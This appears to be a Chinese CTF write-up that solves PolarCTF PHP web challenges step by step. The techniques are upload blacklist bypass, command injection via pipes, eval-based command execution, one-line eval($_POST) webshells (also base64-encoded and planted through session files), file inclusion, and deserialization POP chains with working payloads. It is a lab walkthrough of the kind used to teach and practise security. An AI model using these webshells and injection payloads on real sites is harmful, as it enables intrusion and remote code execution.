1 Simple
1.1 cookie欺骗
打开题目如下
查看当前的Cookie信息
将Cookie设置为 Cookie: user=admin
得到flag
1.2 upload
查看页面源代码,发现一个被注释掉的 ?action=show_code
访问URL:http://6e31dfbd-2989-4a0c-b3f6-23afddcf9d8c.www.polarctf.com:8090/?action=show_code
可以看到该题给出一个上传文件后缀黑名单,并使用trim函数获取去除首尾空格的文件名,若文件名中包含不被允许的字符串,则使用空字符""进行替换
那么,可以使用双写绕过上述文件后缀黑名单
直接上传一个shell.php,然后使用BP抓包
采用文件后缀双写绕过,将文件名修改为shell.pphphp
上传路径及文件名为/upload/29048shell.php
访问:http://6e31dfbd-2989-4a0c-b3f6-23afddcf9d8c.www.polarctf.com:8090/upload/29048shell.php
然后使用蚁剑连接
在/var/www目录下得到flag
1.3 干正则
题目代码如下
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
if (preg_match('/flag\.php/', $ip)) {
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
由以下代码可以判断存在变量覆盖漏洞
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
那么我们可以通过传入参数 id 的值来修改变量 $a 的值,进而使 if 语句中判断条件 $a[0] == 'www.polarctf.com' 成立
随后,可以看到对传入参数 cmd 进行正则匹配检测,若参数 cmd 中包含 flag.php,则调用 die 函数终止程序执行并输出消息 "don't show flag!!!"
若用于正则匹配的 if 语句不成立,则执行 ping -c 2 www.polarctf.com $ip 命令
显然,传入参数 cmd 可以通过管道符 | 来分隔多个命令,进而达到执行其他命令的目的
对于正则绕过,则有如下常见方式
绕过方式 | 用于绕过的命令 |
*号匹配 | cmd=|cat fla* |
引号分隔 | cmd=|cat fla""g.php 或者 cmd=|cat fla''g.php |
首先,访问如下URL,查看当前目录下存在的文件
http://911c98fb-28c1-424c-882b-a269f4fe331b.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|ls
可以看到当前路径下存在 flag.php 文件
然后,通过如下URL发起GET请求传入参数
http://911c98fb-28c1-424c-882b-a269f4fe331b.www.polarctf.com:8090/?id=a[0]=www.polarctf.com&cmd=|cat fla""g.php
CTRL+U 查看页面源代码,得到flag
1.4 cool
题目代码如下,可以看到通过正则匹配,对 flag、system、php 这三个字符串进行不区分大小写的匹配
<?php
if(isset($_GET['a'])){
$a = $_GET['a'];
if(is_numeric($a)){
echo "no";
}
if(!preg_match("/flag|system|php/i", $a)){
eval($a);
}
}else{
highlight_file(__FILE__);
}
?>
在php中,下列方式都可以用于执行系统命令
命令 | 有无回显 | 完整命令 |
`whoami` | 无 | echo `whoami` |
passthru('whoami'); | 有 | passthru('whoami'); |
system('whoami'); | 有 | system('whoami'); |
exec('whoami'); | 无 | echo exec('whoami'); |
shell_exec('whoami'); | 无 | echo shell_exec('whoami'); |
那么,可以通过如下URL发起GET请求传入参数,查看当前目录下存在的文件
http://f962cabf-3d99-4ed8-9e63-71f25b497c13.www.polarctf.com:8090/?a=passthru('ls');
当前目录下存在flag.txt文件
通过如下URL发起GET请求传入参数,得到flag
http://f962cabf-3d99-4ed8-9e63-71f25b497c13.www.polarctf.com:8090/?a=passthru('cat fla*');
2 Middle
2.1 你的马呢?
本题主要考查文件上传过程中的内容编解码操作
首先,创建一个 a.php,内容为 base64 编码后的一句话木马
# eval_POST 一句话木马
<?php eval($_POST['a']);?>
# base64编码后
PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
然后,将文件名修改为 a.jpg,上传
然后,通过如下的文件过滤解码方法,对上传的文件内容进行base64解码
/index.php?file=php://filter/convert.base64-decode()/resource=[shell_upload_path]
访问如下URL
http://9c5f4d94-16a0-4e6b-ac40-6fc2328a9021.www.polarctf.com:8090/index.php?file=php://filter/convert.base64-decode/resource=uploads/a.jpg
使用蚁剑连接,在根目录下得到flag
2.2 ezphp
打开题目链接,内容如下
由爬虫联想到路径遍历,那么尝试访问 /robots.txt 文件。成功访问,内容如下
逐个查看,发现 /file 路径下存在一个 file.php 文件
访问 file.php 文件,内容如下,很明显此处存在一个文件包含漏洞
<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?>
然后,查看 /uploads 路径,内容如下
/uploads/images 路径为空
访问 /uploads 路径下的 upload.php 文件,内容如下,是一个文件上传页面
查看页面源代码,只接受 .jpg, .jpeg, .png, .gif 四个类型的文件
选择一个具有 .png 文件头的 a.png 图片木马,进行上传
查找发现上传路径为 /uploads/images
利用 /file 路径下的 file.php 中的文件包含漏洞,包含 /uploads/images 路径下的 a.png 文件
此处需要使用绝对路径。经过尝试可发现上传的 a.png 图片木马的绝对路径为 /var/www/uploads/images/shell.png
访问如下URL传递GET请求参数
http://83a995d4-a53d-431b-8e14-3b31a4ea1956.www.polarctf.com:8090/file/file.php?filename=/var/www/uploads/images/a.png
尝试使用POST请求执行系统命令,成功
蚁剑连接,在 webuser 用户的 home 目录下找到 flag
2.3 随机值
题目代码如下,本题考查php反序列化
<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;
function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>
对上述代码进行分析,可知GET请求传递的参数sys将被反序列化作为 Index 类的一个对象 $a,因此我们需要创建一个 Index 类的对象并对其进行序列化操作。
getflag() 函数内部的Polar1、Polar2、Night、Light不会受到私有属性(或保护属性)的影响,那么我们可以直接构造一个__construct() 函数来满足 echo $flag 的条件。
综上所述,构造exp如下
<?php
class Index{
function __construct(){
$this->Polar1 = &$this->Polar2;
$this->Night = &$this->Light;
}
}
$a = new Index();
echo urlencode(serialize($a));
执行代码,输出如下
O%3A5%3A%22Index%22%3A4%3A%7Bs%3A6%3A%22Polar2%22%3BN%3Bs%3A6%3A%22Polar1%22%3BR%3A2%3Bs%3A5%3A%22Light%22%3BN%3Bs%3A5%3A%22Night%22%3BR%3A3%3B%7D
将上述输出作为参数sys的值,构造GET请求如下
http://bbc96c8b-b19f-4285-8261-489a2ea56a54.www.polarctf.com:8090/?sys=O%3A5%3A%22Index%22%3A4%3A%7Bs%3A6%3A%22Polar2%22%3BN%3Bs%3A6%3A%22Polar1%22%3BR%3A2%3Bs%3A5%3A%22Light%22%3BN%3Bs%3A5%3A%22Night%22%3BR%3A3%3B%7D
得到flag
2.4 phpurl
题目的txt文件信息如下
对上述字符进行base64解码
访问:http://daa5d095-8b6b-4f0f-8351-725f4bb419cb.www.polarctf.com:8090/index.phps
可以看到如下内容
这是一个备份文件,因此我们向实际的php文件传递参数时,需要将最后的 s 去除
分析代码可知,本题考查二次URL解码,浏览器自身会进行第一次URL解码,然后php代码中的urldecode函数会进行第二次URL解码
因此,向sys变量传递的字符串"xxs"需要经过两次URL编码,仅编码第一个字符
# 全字符URL编码
x -> %78
# 普通URL编码
%78 -> %2578
最终的URL为
http://daa5d095-8b6b-4f0f-8351-725f4bb419cb.www.polarctf.com:8090/index.php?sys=%2578xs
得到flag
3 Hard
3.1 苦海
本题给出如下代码
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
(1)User 类
该类的入口函数为 __wakeup() ,__wakeup() 方法实现了对 printName() 方法的调用
(2)Surrender 类
该类的入口函数为 __toString()
(3)FileRobot 类
该类的入口函数为 __get() ,Get_file() 方法可以用来读取指定文件,而 __invoke() 方法实现了对 Get_file() 函数的调用
首先,我们将 User 类对象的成员变量 $name 赋值为一个 Surrender 类的对象,那么在调用 User 类中的 printName() 方法时,会进入 Surrender 类
$a = new User();
$b = new Surrender();
$a->name = $b;
然后,由于 Surrender 类中的 __toString() 方法返回值为:$this->file['filename']->content['title'],那么如果将 Surrender 类对象的成员变量 file['filename'] 赋值为一个 Surrender 类的对象,在调用 Surrender 类中的 __toString() 方法时,会进入 FileRobot 类
$c = new FileRobot();
$b->file['filename'] = $c;
最后,由于 FileRobot 类的入口函数为 __get(),在 __get() 方法中会返回 FileRobot 类对象的成员变量 $path ;因此,如果将 FileRobot 类对象的成员变量 $path 赋值为一个 FileRobot 类的对象(该对象的成员变量 $filename = 'flag.php'),那么在调用前一个 FileRobot 类对象的 __toString() 方法时,会进入到后一个 FileRobot 类对象的 __invoke() 方法中,进而执行 Get_file() 方法,读取 flag.php 文件内容
$d = new FileRobot();
$d->filename = '../flag.php';
$c->path = $d;
综上所述,构造exp如下,由于 Surrender() 类的对象有一个私有成员变量$phone,因此需要对序列化的结果进行URL编码处理
$a = new User();
$b = new Surrender();
$c = new FileRobot();
$d = new FileRobot();
$d->filename = '../flag.php';
$a->name = $b;
$b->file['filename'] = $c;
$c->path = $d;
echo "\n";
echo urlencode(serialize($a));
执行代码,输出为
删库跑路,蹲监狱~
O%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A9%3A%22Surrender%22%3A3%3A%7Bs%3A16%3A%22%00Surrender%00phone%22%3Bi%3A110%3Bs%3A7%3A%22promise%22%3Bs%3A30%3A%22%E8%8B%A6%E6%B5%B7%E6%97%A0%E6%B6%AF%EF%BC%8C%E5%9B%9E%E5%A4%B4%E6%98%AF%E5%B2%B8%EF%BC%81%22%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22path%22%3BO%3A9%3A%22FileRobot%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A11%3A%22..%2Fflag.php%22%3Bs%3A4%3A%22path%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3Bs%3A21%3A%22syst3m%28%22rm+-rf+.%2F%2A%22%29%3B%22%3B%7D
构造GET请求如下
得到响应
对字符串进行base64解码,得到flag
3.2 你想逃也逃不掉
本题主要考查字符串逃逸、php序列化、变量覆盖等知识
题目给出如下代码
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';
$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo file_get_contents('flag.php');
}
首先,我们测试直接传入一般参数时的情况,编写如下代码
<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin';
$user['sign'] = 'ytyyds';
$ans = filter(serialize($user));
printf($ans);
运行结果如下
a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}
我们可以总结出,进行序列化之后的每个字符串,格式转换为如下形式
# len(string)为字符串长度
s:len(string):"string";
同时,我们可以发现,最后一个序列化后的字符串以 } 结尾
现在,我们需要考虑,如何通过构造序列化字符串来覆盖 $user['sign'] 的值,使其等于 "ytyyds"
显然,我们需要通过GET请求传入的 passwd 参数,来实现对 $user['sign'] 值的覆盖
以及都是我们必须构造的,因而可以初步构造 passwd 的值如下
admin";s:4:"sign";s:6:"ytyyds";}
编写如下代码观察 $user 序列化之后的输出
<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin";s:4:"sign";s:6:"ytyyds";}';
$user['sign'] = '123456';
$ans = filter(serialize($user));
printf($ans);
运行代码,此时输出为
a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:32:"admin";s:4:"sign";s:6:"ytyyds";}";s:4:"sign";s:6:"123456";}
仔细观察上述输出,显然有两个错误的地方会导致我们利用失败:
(1)在如下字符串单元中,字符串长度32与字符串实际长度5不匹配
s:32:"admin";
(2)如下字符串单元虽然可以起到绕过作用,但引号未正确关闭
s:6:"ytyyds";}";s:4:"sign";s:6:"123456";
针对上述第一个问题,可以通过利用 filter($string) 函数充填 $user['username'] 的值实现字符串逃逸
针对上述第二个问题,可以通过在GET请求参数 passwd 的值后面加上一个 " 实现
因此,重新构造GET请求参数 passwd 的值如下
admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"
编写如下代码观察 $user 序列化之后的输出
<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'admin';
$user['passwd'] = 'admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"';
$user['sign'] = '123456';
$ans = filter(serialize($user));
printf($ans);
输出为
a:3:{s:8:"username";s:5:"admin";s:6:"passwd";s:58:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}
该输出可以视为三个部分
s:8:"username";
s:5:"admin";s:6:"passwd";s:58:"admin";
s:6:"passwd";
s:5:"admin";
s:4:"sign";
s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}
后两个部分都已经是正确,现在我们只需要通过构造POST请求参数 username 的值来使得该值的实际字符串长度与 s 之后的长度大小一致。由于 username 的值长度为31,将 username 的值 admin 替换为符合正则匹配要求的字符串后,会将 admin 替换为空字符串,因而长度变为:31-5=26
# 替换前长度为31
admin";s:6:"passwd";s:58:"admin
# 替换后长度为26
";s:6:"passwd";s:58:"admin
因此,我们需要填入26个符合正则匹配要求的字符,作为POST请求参数 username 的值
综上所述,我们可以构造如下GET请求和POST请求
# GET请求
passwd=admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"
# POST请求
name=phtmlphtmlphtmlphp5aspxgif
编写如下代码观察 $user 序列化之后的输出
<?php
error_reporting(0);
# highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = 'phtmlphtmlphtmlphp5aspxgif';
$user['passwd'] = 'admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"';
$user['sign'] = '123456';
$ans = filter(serialize($user));
printf($ans);
输出为
a:3:{s:8:"username";s:26:"";s:6:"passwd";s:58:"admin";s:6:"passwd";s:5:"admin";s:4:"sign";s:6:"ytyyds";}"";s:4:"sign";s:6:"123456";}
可以观察到现在第一部分已经正确
s:8:"username";
s:26:"";s:6:"passwd";s:58:"admin";
执行以下参数传入
查看页面源代码,得到flag
3.3 safe_include
查看本题代码,并进行解读
<?php
show_source(__FILE__);
# 启动PHP会话(session),@ 符号用于抑制可能出现的错误或警告信息
@session_start();
# 设置 PHP 的 open_basedir 配置,限制 PHP 打开文件和目录的路径
# 此处只允许在 /var/www/html/ 和 /tmp/ 这两个目录及其子目录下访问文件
ini_set('open_basedir', '/var/www/html/:/tmp/');
# 从session中获取名为 'xxs' 的变量,并将其值赋给 $sys 变量
$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
$sys = $_GET['xxs'];
}
# 包含一个PHP文件,文件名由 $sys 变量指定
@include $sys;
# 将 $sys 变量的值存储到session中,以便下次请求时可以恢复这个值
$_SESSION['xxs'] = $sys;
由于是赛题是 Docker 环境,因此session一般存放在 /tmp 目录下
在PHP中,传入的session格式一般如下, [PHPSESSID] 的值可在Cookie中查看
sess_[PHPSESSID]
我们构造如下GET请求参数,利用本题的文件包含漏洞来传入一个一句话木马
xxs=<?php eval($_POST['a']);?>
在Cookie中查看 [PHPSESSID] 的值
那么,我们的session为
sess_rg3mc1mtcogd4hfj2f4j7mjn64
为利用session需要构造的完整GET请求参数为
xxs=/tmp/sess_rg3mc1mtcogd4hfj2f4j7mjn64
我们使用蚁剑连接如下URL
http://406c49a2-9bef-4612-8fc8-008faab364a7.www.polarctf.com:8090/?xxs=/tmp/sess_rg3mc1mtcogd4hfj2f4j7mjn64
在根目录下获得flag
3.4 CB链
本题待补充,博主还在学习研究中。